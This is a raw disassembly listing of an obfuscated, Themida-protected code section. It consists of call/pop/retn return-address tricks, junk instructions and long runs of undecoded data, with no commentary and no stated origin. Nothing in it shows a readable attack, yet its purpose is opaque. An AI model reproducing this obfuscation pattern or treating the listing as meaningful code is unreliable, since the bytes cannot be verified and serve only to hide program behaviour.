push edx
retn
sub_5C26AD endp
; ---------------------------------------------------------------------------
db 0F4h, 0DDh, 3
; ---------------------------------------------------------------------------
db 36h
mov byte ptr cs:[esp+ebp*8], 31h
lea ebp, [ebp+2Fh]
test al, 7
push 0
push 0
push ecx
call sub_5C26D8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C26D8 proc near ; CODE XREF: Themida_:005C26D0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C26D8 endp
; ---------------------------------------------------------------------------
dd 0F42AAAFBh, 3EBF341Ah, 0FF7CE88Eh, 0A81B3995h, 6840F07h
dd 9000000h, 0A81D8595h, 3B9D8D07h, 6A07AB9Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 4978C355h, 85FFD3FFh, 7A80EE5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0ADC35646h, 0AE9FE8Bh, 0E8000008h
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7AC12EFh
cmc
cmp dword ptr [ebp+7A80B5Dh], 7D0h
jbe loc_5C289A
push 0
push edx
call sub_5C277B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C277B proc near ; CODE XREF: Themida_:005C2773p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5C277B endp
; ---------------------------------------------------------------------------
xchg eax, ebp
pop edx
add al, [ebx+ecx*4-43h]
jge short near ptr loc_5C2795+3
test al, 7
loc_5C2795: ; CODE XREF: Themida_:005C2791j
mov ebx, [ebp+7A82D09h]
push 0
push eax
call sub_5C27A6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C27A6 proc near ; CODE XREF: Themida_:005C279Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C27A6 endp
; ---------------------------------------------------------------------------
dw 632Ah
dd 2EF322BEh, 8A0F0119h, 3, 81F7B70Fh, 100E3h, 0D9BD3100h
dd 0B07A809h, 6B850FDBh, 0F5000000h, 1100BD83h, 0F0007ACh
dd 3E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0F8FD1C3Eh, 68A0Fh, 0BD8B0000h, 7A80F91h
dd 37E9h, 8800F00h, 0F000000h, 280h, 0C7616000h, 0AC110085h
dd 107h, 6850F00h, 33000000h, 0A80E2DB5h, 0EE907h, 0BF660000h
dd 85C793F5h, 7AC1100h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+7A82D09h]
push 0
push edx
call sub_5C2861
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2861 proc near ; CODE XREF: Themida_:005C2859p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5C2861 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 6600h
dd 89A2F681h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 19h
; ---------------------------------------------------------------------------
loc_5C289A: ; CODE XREF: Themida_:005C276Aj
mov bx, ds
call near ptr loc_5C28AB+2
lahf
std
mov ecx, 7A56E3F4h
mov [ecx], ebx
loc_5C28AB: ; CODE XREF: Themida_:005C289Dp
fisubr dword ptr [ebp-77h]
test ds:5E07A826h, esi
test bl, 4
jz loc_5C28EE
mov edi, [ebp+7A82679h]
call dword ptr [ebp+7A82651h]
mov [ebp+7A80A51h], eax
nop
jmp loc_5C28E2
; ---------------------------------------------------------------------------
db 42h, 41h, 0Dh
dd 5AC2D53Eh, 3E991C9h
db 0A2h, 0D5h
; ---------------------------------------------------------------------------
loc_5C28E2: ; CODE XREF: Themida_:005C28D0j
push eax
mov di, 7F11h
nop
and edi, 70B3C6B5h
loc_5C28EE: ; CODE XREF: Themida_:005C28B7j
jmp loc_5C2D10
; ---------------------------------------------------------------------------
db 89h
dd 0A8330185h, 5300B007h, 7C5BD8Bh, 0E65F07A8h, 0EE970h
dd 0DC7B0000h, 0A1728D42h, 349469FAh, 0B588356Ah, 6A71E4h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0E944FBC3h, 0C9858918h, 0F07A827h, 6AD8B6h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0A8D5DCC3h, 0CD9589h, 6BA07A8h, 0F000000h, 0C38BF6B7h
dd 25E59D89h, 0E8C107A8h, 0ACBF6604h, 0E2F7666Ah, 1541B58Bh
dd 0D82B07A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0C2C35646h, 66F5189Dh, 6050F08Bh, 0C88B6660h, 61C38B66h
dd 241C8961h, 83DBD8Bh, 0B5FF07A8h, 7A80B5Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B3C35747h, 4E134B0Ch
dd 742BEA45h, 2195FFEAh, 0B007A80Dh, 31950100h, 0E907A810h
dd 0Ah, 0F6DA48FCh, 73E6126Dh, 70E65ADCh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 4AC35646h, 8985BCF9h
dd 662400D2h, 0F38BFB8Bh, 0E18BBF66h, 6A71E4h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 6D2728C3h, 5D56EC79h, 9D09286Ch, 7A81711h, 830F613Ch
dd 2A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 3BC35545h, 0EC230749h, 0F60A640h, 9589FEBFh, 7A80A55h
dd 0D8B60F61h, 6BAF5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0E46398C3h, 880F4F17h
dd 6, 1455BD8Bh, 853107A8h, 7A8289Dh, 6AC38Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0B86936C3h, 52F57A2Ah, 0BF6633E6h, 0E8C1B244h, 0E2F76604h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ACC35747h
dd 49B13DC8h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0B589D1C3h, 7A81755h, 17820F58h
dd 60000000h, 0F318D33h, 9E807A8h, 0FD000000h, 99345900h
dd 7867FE89h, 0D82B6159h, 1A6880Fh, 8E80000h, 97000000h
dd 0A9AD9C75h, 8B44B17Eh, 0A82235B5h, 7B95F07h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0E348C350h, 57C4674Ah, 7E91057h, 67000000h
dd 0DB67E79Ch, 8F0F6977h, 6, 0CC18589h, 0BF6607A8h, 0C1833119h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0B523B622h, 7A80C5Dh, 860FD93Bh, 120h, 7E8h
dd 2A78DA00h, 0D34B4CBAh, 0EE960h, 0E5F80000h, 0AFA4E4D2h
dd 9661B145h, 5E0B4067h, 32D1B529h, 5E6107A8h, 29D98C66h
dd 0A834B1B5h, 4C1F607h, 0E1840Fh, 800F0000h, 6, 35858589h
dd 95FF07A8h, 7A82651h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0DCC35040h, 6A5BF5h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 36E594C3h
dd 0C32BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 3FC35343h, 0BE6659F4h, 343D661Bh, 0F000008h, 6286h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0CDBBC169h, 11E963EAh, 68000000h, 7017AF46h
dd 0BF1CA08Ch, 0B5A9B294h, 6E467967h, 2BE9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 709BBAF3h, 61B529C0h, 8B07A813h, 0FE8B66C0h
; ---------------------------------------------------------------------------
loc_5C2D10: ; CODE XREF: Themida_:loc_5C28EEj
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_5C2D1F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2D1F proc near ; CODE XREF: Themida_:005C2D17p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C2D1F endp
; ---------------------------------------------------------------------------
jl short loc_5C2D6C
mov esi, [ebp+7A82C49h]
mov [ebp+7A8258Dh], ecx
mov dword ptr [ebp+7A81575h], 1DF6E939h
push 0
push eax
call sub_5C2D52
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2D52 proc near ; CODE XREF: Themida_:005C2D4Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C2D52 endp
; ---------------------------------------------------------------------------
mov bl, 0CEh
mov [ebp+7A8190Dh], eax
mov eax, eax
loc_5C2D6C: ; CODE XREF: Themida_:005C2D2Fj
mov [ebp+7A81A29h], ecx
cmp dword ptr [ebp+7A80B5Dh], 7D0h
jnz loc_5C2DB2
push 0
push edx
call sub_5C2D8D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2D8D proc near ; CODE XREF: Themida_:005C2D85p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C2D8D endp
; ---------------------------------------------------------------------------
ror dword ptr [edi], cl
cmp [ebp+5Bh], eax
sub al, 86h
inc dword ptr [ebp+7A80B5Dh]
push edi
add esi, [ebp+7A8248Dh]
pop edi
loc_5C2DB2: ; CODE XREF: Themida_:005C2D7Cj
push dword ptr [ebp+7A80B5Dh]
push 0
push ebp
call sub_5C2DC3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2DC3 proc near ; CODE XREF: Themida_:005C2DBBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5C2DC3 endp
; ---------------------------------------------------------------------------
sbb [ecx-57D6C263h], ecx
pop es
call dword ptr [ebp+7A80D21h]
push 0
push edi
call sub_5C2DEB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2DEB proc near ; CODE XREF: Themida_:005C2DE3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5C2DEB endp
; ---------------------------------------------------------------------------
adc ds:3CDD0F97h, cl
fidiv word ptr [eax+4Dh]
nop
add esi, 7C489104h
mov [ebp+7A81801h], ebx
mov edi, [ebp+7A81551h]
nop
push 0
push ecx
call sub_5C2E23
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2E23 proc near ; CODE XREF: Themida_:005C2E1Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5C2E23 endp
; ---------------------------------------------------------------------------
db 0C0h
; ---------------------------------------------------------------------------
add [ebp+7A81865h], esi
mov esi, [ebp+7A80B99h]
push 0
push edx
call sub_5C2E4B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2E4B proc near ; CODE XREF: Themida_:005C2E43p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5C2E4B endp
; ---------------------------------------------------------------------------
db 94h
dd 959D89F2h, 3307A81Ah, 0A83251BDh, 7E907h, 0BF360000h
dd 3ECA620Eh, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 6AC4F1D7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0C15C355h, 0B3075985h
dd 8B16F884h, 0A82911BDh, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C372E781h
dd 8B665DABh, 55006AF2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 728ADFFEh, 92B23FE8h, 12E8h, 2D97AB00h
dd 9A623E90h, 0F8638C01h, 0F782716Fh, 50A5FED7h, 3061B58Bh
dd 15E07A8h, 0A814C9BDh, 860F5E07h, 23h, 178D0Fh, 0BE80000h
dd 5E000000h, 5400A244h, 0E112D6BAh, 895ECB83h, 0A8357595h
dd 0D1B58B07h, 0E907A80Fh, 0FFFFF7FBh, 0FB3B54BEh, 6AC18B74h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 6F9EC353h, 5069DE47h, 4EBF992h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5C2F93
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2F93 proc near ; CODE XREF: Themida_:005C2F8Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C2F93 endp
; ---------------------------------------------------------------------------
aad 0FEh
sbb eax, [esi]
add [eax+25h], eax
adc [edi+22858D29h], dh
test al, 7
xor [ebp+7A80359h], ebx
push 0
push ecx
call sub_5C2FC3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2FC3 proc near ; CODE XREF: Themida_:005C2FBBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5C2FC3 endp
; ---------------------------------------------------------------------------
mov bh, 0D3h
lea eax, [ebp+7A80425h]
push 0
push ebx
call sub_5C2FE6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2FE6 proc near ; CODE XREF: Themida_:005C2FDEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5C2FE6 endp
; ---------------------------------------------------------------------------
dw 9879h
dd 0FE8BE50Eh, 21F9BF50h, 4891117h, 0F006A24h, 1288h, 6E800h
dd 9A50000h, 81069BE0h, 0A518D89h, 6A5F07A8h, 0CB858D00h
dd 6A07AC1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 8930C352h, 0A80C31B5h, 5C08307h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 85C35040h
dd 3821E246h, 0BE6690C0h, 66507FA6h, 90F137BFh, 0FE9h
dd 5808DB00h, 8E8909DCh, 0FAE468BAh, 50BA26DEh, 8F0F006Ah
dd 2, 6A5E50h, 0C68B6660h, 0E9BD0B61h, 0FF07A81Ah, 0A81B3995h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 7B4D3DECh, 60D635A0h, 8453B966h, 258D9D29h
dd 8D6107A8h, 0AB9A3B9Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 70F32CD6h
dd 0D5C9E688h, 0FA8B66B3h, 9501D3FFh, 7A80BC5h, 0EE585FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0BD0329C3h, 7A810D9h, 721E9h, 0E800h, 815D0000h
dd 0AC1CD5EDh, 14E907h, 20E0000h, 0E52673F0h, 4E622A70h
dd 0C0E39E06h, 0B27F3979h, 0BD819BD2h, 7A80B5Dh, 7D0h
dd 10E860Fh, 9D8B0000h, 7A82B05h, 34C5B589h, 0E38107A8h
dd 100h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0FBC35545h, 0B142982h, 0B6850FDBh, 0F9000000h
dd 1B1BBD83h, 0F0007ACh, 5B84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 253EDDB1h
dd 3912DE8Eh, 9D89FB62h, 7A817B1h, 305BC681h, 7CE916E2h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0D81BC357h, 5D1F0DA8h, 0F5CB883Bh
dd 1B1B85C7h, 107ACh, 800F0000h, 0Ch, 6860Fh, 0BD890000h
dd 7A82421h, 36E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 4978CF66h, 699D0136h
dd 8907A835h, 0A80A39BDh, 1B85C707h, 7AC1Bh, 8D000000h
dd 0A82B059Dh, 6CBE6607h, 0FF2381E3h, 0BEFFFFFEh, 2A33B2A1h
dd 89DB8C66h, 0A828D98Dh, 4C3F607h, 2A840Fh, 0BD890000h
dd 7A810B9h, 265195FFh, 6E807A8h, 0B6000000h, 0D2C30B13h
dd 6E9A2h, 6E9F0000h, 7DED20A5h, 489505Fh, 0F28B6624h
dd 3B8E9h, 0FAB70F00h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0B70F5AC3h, 8B70E6F8h
dd 0A8036DB5h, 6071E407h, 8D0B3CB3h, 7A83045h, 0A9BD8B61h
dd 0F07A834h, 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0EF6CCAC3h, 7A780AF2h, 90EEE681h
dd 800F2E8Fh, 13h, 0EE9h, 0A673000h, 5A02C8DBh, 0D9EF3989h
dd 0BA0CA99Bh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0DC35545h, 0F88E97B6h, 8B9789F0h, 50006AC3h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0EE4F4A3Bh, 0E8C14ACBh, 0C58D8904h, 6607A80Ah, 0EEBFE2F7h
dd 2B22C078h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 43EAAD8Fh, 0F4302032h, 0BF6650E8h
dd 1C896DC5h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0B58B9F0Fh, 7A8223Dh, 1BA5B58Bh
dd 0B5FF07A8h, 7A80B5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0F4C35545h, 0CCDEE026h, 85291EF9h, 7A80F0Dh
dd 0D2195FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0D88493C3h, 0D9AD8CCBh, 300B0C9h
dd 0A83401B5h, 6A70E607h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 9796C351h, 55BA6D6Eh
dd 0E871E4FCh, 8, 9AA26631h, 796646C1h, 827CBF66h, 0F613C5Fh
dd 1E483h, 8B666000h, 1EEA80CAh, 0D8B60F61h, 322DB503h
dd 6BA07A8h, 81000000h, 0DE1267DFh, 66C38B49h, 3B2FF681h
dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 29DAC356h, 449CD61Ch, 0E2F766FCh
dd 7E8h, 48AEF300h, 0DA354CACh, 0BE9h, 46B5AE00h, 0E2E73112h
dd 9AECFDB8h, 6AD82B5Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0EA29C351h, 85B589A7h
dd 5807A80Bh, 0EF8E681h, 0D82B4D03h, 147880Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 8749BBC3h, 7B911h, 8B600000h, 0A813698Dh, 68C0F07h
dd 89000000h, 0A81B2185h, 0C1836107h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 45969FA9h, 8529F9E2h, 7A8251Dh, 860FD93Bh, 0DDh, 0D98C66F5h
dd 0F04C1F6h, 0A584h, 6E900h, 0D4180000h, 4852EFCCh, 11E8h
dd 22285900h, 0CF10AD2Dh, 9382B582h, 77FC6A65h, 8D2943D0h
dd 7A80B41h, 5195FF5Eh, 6A07A826h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 8226C350h
dd 19B58BE6h, 5B07A811h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 7FC35343h, 34396C1Ch, 29DC2C39h, 0A82C2DBDh
dd 0FC32B07h, 343DF0BFh, 0F000008h, 1986h, 85236000h, 7A83079h
dd 4890Fh, 0BF660000h, 0E9611FA1h, 2Dh, 0C08BF08Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FC35040h, 263FBC8Bh
dd 8955E309h, 0A81D499Dh, 8BC38B07h, 55006AD8h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 2DAEBEB7h
dd 98D404E1h, 259D89A3h, 0F807A819h, 2D0985C7h, 719107A8h
dd 6A7ADBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 30B172C3h, 3956F0FFh, 0BE3ADF6Eh, 600FDDCh
dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 96E7E5C3h, 0B1BD8B5Dh, 8107A800h, 0A80B5DBDh
dd 7D007h, 12850F00h, 89000000h, 0A8076DBDh, 5D85FF07h
dd 8107A80Bh, 49595BDEh, 5DB5FF32h, 0F507A80Bh, 0D2195FFh
dd 539007A8h, 13E8h, 647F5B00h, 0E3A4E8C1h, 7F957C6h, 0A6B74A13h
dd 0EE205067h, 30DDB58Bh, 0BD8B07A8h, 7A80F21h, 6A5F5Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0F509CC3h, 0ACD17B7Ch, 0BD8BAC07h, 7A8313Dh, 5E9h, 8E5D1800h
dd 7E8DE06h, 0D1000000h, 9BD655C5h, 0AEBE78ECh, 8B757959h
dd 8E95EF3h, 3F000000h, 4E72A857h, 6A019016h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0AB18C352h, 0E7816690h, 0BE66E84Ch, 9D89A5B6h, 7A81A95h
dd 6AF38B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 72AEC356h
dd 6525AF04h, 7BA878Ch, 5E9h, 203E5E00h, 0B58B9BCCh, 7A83399h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5EC35646h
dd 77E4C385h, 10E9A8h, 0A7210000h, 94D76D4Dh, 0FE7CE4EAh
dd 43BA0BFCh, 0BD893A42h, 7A81A45h, 0FFF8E8E9h, 0C5BD8BFFh
dd 6607A832h, 6A60F38Bh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0DB53C357h, 0F98B04D3h
dd 0AE9h, 0C658F200h, 0A689D1CEh, 0B9FD5E11h, 0FFFFFFFEh
dd 0AD9958Bh, 8D2107A8h, 7A82869h, 0DD9D8B60h, 6007A821h
dd 7E9h, 44395C00h, 7EA22287h, 732ED6BBh, 21616138h, 0A823618Dh
dd 8E907h, 3DC10000h, 24574B30h, 8D0FA8C1h, 6, 0B358CA81h
dd 8D8B7F4Eh, 7A82869h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 40C35646h, 0C2A1AA40h, 8531DA2Eh, 7A81485h
dd 0F01E183h, 685h, 29858B00h, 8B07A828h, 0A823618Dh, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0FF170D2h, 0F01E183h, 2B85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0BF90142Fh
dd 60B60BF8h, 19F1B529h, 61F807A8h, 14E961h, 19770000h
dd 31BDh, 3 dup(0)
dd 59E90000h, 0A5000005h, 0E5CEE3F4h, 220B2037h, 634C6176h
dd 0A28BA0B7h, 0C1CFE4F3h, 0D9FE9D08h, 1B3CDBC4h, 5F781D06h
dd 0A6B1614Ah, 0CC12B191h, 0CBAD4B96h, 0AB54029Ch, 0ECB7A072h
dd 8B8C4E1Fh, 0F8DBF3C0h, 0E9663126h, 0EB402D2Ah, 59706FA5h
dd 566E75D3h, 8394462Fh, 0DE277496h, 8F50C7EFh, 12CC5A6Bh
dd 2E4606E5h, 1502D451h, 80FCD4Ah, 83EEE93Dh, 483522F4h
dd 844F480Fh, 8F789FB7h, 8BE0CDCAh, 58950F45h, 0F60E15D3h
dd 2631E6CFh, 1C3BDE5Bh, 1601D451h, 0D0ACE4Bh, 0AF1AC742h
dd 0E95401D0h, 859ABD5Ah, 12DDFA9Ch, 58954F88h, 279229D3h
dd 0A8DA377Bh, 600A1Bh, 0C7080000h, 0AB350017h, 0D3597073h
dd 0A04BB64Dh, 70CF054Bh, 2D5D359h, 597086BCh, 64858CD3h
dd 1064C4Ch, 0BFF81BA8h, 0CAE6FE19h, 1, 215C7C8h, 256BC015h
dd 0D3596FEFh, 0DA10EEF5h, 0E0D35970h, 67E4C1D9h, 5AD7A2B5h
dd 7CD09BBCh, 326B1681h, 0D8A57067h, 183FDDC0h, 5F781A03h
dd 72AB5E4Ah, 1CE9B4A3h, 65722104h, 35DF019Ah, 96A0FD76h
dd 5606E901h, 5FF97641h, 2BF06D38h, 39E6612Ch, 7A9D3FCEh
dd 0A434059h, 0B3804B4Ch, 8615809Bh, 0C2ABC0D7h, 0BF3C0710h
dd 0B633FE19h, 869146E1h, 2CDEEBBh, 0FCC7D085h, 5837A2B3h
dd 8F3BA6BFh, 1BA7B4ABh, 3522F22Bh, 0D8A3B464h, 78D7F30Bh
dd 0BC000000h, 6A2DD183h, 14B43288h, 0C107F415h, 0D358A38Bh
dd 8C728A91h, 380314C7h, 2FFA1DBBh, 28F3E4B2h, 23EEE9ABh
dd 7F5EC9DAh, 0E271DCD7h, 260F2433h, 18956077h, 458A5542h
dd 2D15C12Ch, 941BA7FFh, 72h, 5314C792h, 2334E384h, 496A3702h
dd 0F5CB3A5Ch, 0C222FA93h, 8842D8E1h, 9AB27E51h, 7C9B40BDh
dd 0EC5768B1h, 8499BE5Dh, 0D592467Fh, 7A471205h, 0C75B4159h
dd 0F1836915h, 0D870774Bh, 1A53ECB7h, 256B587Fh, 0D358FEEFh
dd 0E6D6EEF5h, 0D358FFADh, 6D30C87h, 0A8794611h, 0B4CFE7F0h
dd 70D59D49h, 0B2C1BA8h, 11000000h, 0F34076BCh, 3F46D358h
dd 11C74127h, 3AE01906h, 0E3AEA96Dh, 0DDF516h, 5AE34567h
dd 0C79866ABh, 1B3324F6h, 0A6716638h, 68137E2Bh, 0A46F682Fh
dd 3CDCBFD7h, 8450BC82h, 70910230h, 0BB01565Bh, 0D3589185h
dd 0C86C848Bh, 549A874Fh, 0DB00A573h, 699FE53Ah, 6FDB00A5h
dd 89905068h, 0D70325BEh, 510F9F78h, 0D8FF9F70h, 1A3DDDC0h
dd 5D7A1C05h, 0DFD00892h, 0D6E7DB00h, 1D3ADC6Bh, 587F1F08h
dd 19BBF48Dh, 5303E6FEh, 0B4D5C294h, 0D22724E9h, 0DF568Ch
dd 3D555CDBh, 7628B722h, 0DF194F95h, 5CFCDB00h, 65868D3Bh
dd 90004A50h, 0A1F6E3F0h, 0D3255Bh, 0C242BDBh, 12DF0h
dd 1106EE00h, 0F99FD8C5h, 4C4B0DDEh, 0A7E03534h, 0DDCDE5F2h
dd 0DB019DE8h, 831CE7EEh, 6CEDA461h, 0AB6F52A7h, 133773F4h
dd 7C5F7798h, 0BFA8BDDAh, 0B02DF81Fh, 591EE9EEh, 9446D540h
dd 471205D3h, 3E44597Ah, 0E3FFCF74h, 7CCDh, 0DD79B200h
dd 7F4A4D0Ah, 0F9C691B2h, 9690C60Ch, 8F96DB01h, 15069177h
dd 31524511h, 7BCDEF44h, 696E2C1Eh, 0E217D19Eh, 0BB894390h
dd 92CA8394h, 0CD23132Bh, 0D3535920h, 2F6801CCh, 0D29F6A6Dh
dd 2094CABAh, 0E85D5359h, 0FB99D27Dh, 3320C4DCh, 1EB85642h
dd 254679E5h, 8A5DFF38h, 30FDC8CFh, 0BD77440Fh, 0FE56C08Eh
dd 48475F54h, 58E3AC02h, 5EFBB2D3h, 0BF031839h, 66h, 15110601h
dd 49365740h, 354D4A10h, 8C9BF036h, 9AA1DB01h, 978052CFh
dd 0DEF99982h, 20569CF1h, 26DB018Ch, 0A02A071Fh, 0DB018D65h
dd 71006B7Ch, 0F7A1B6A1h, 262E1D1Eh, 54AAF3F6h, 0CF004633h
dd 0D5E2AE5Eh, 0D48603CEh, 0DB7BF8C3h, 0A574F1BCh, 8D9EE7B2h
dd 0C7744322h, 0CB0B0C5Ch, 836798DEh, 666DEA5Ah, 11066551h
dd 0B8B6D8C5h, 0EEBD805Dh, 0C107061Eh, 0DB04A290h, 5C7B1E57h
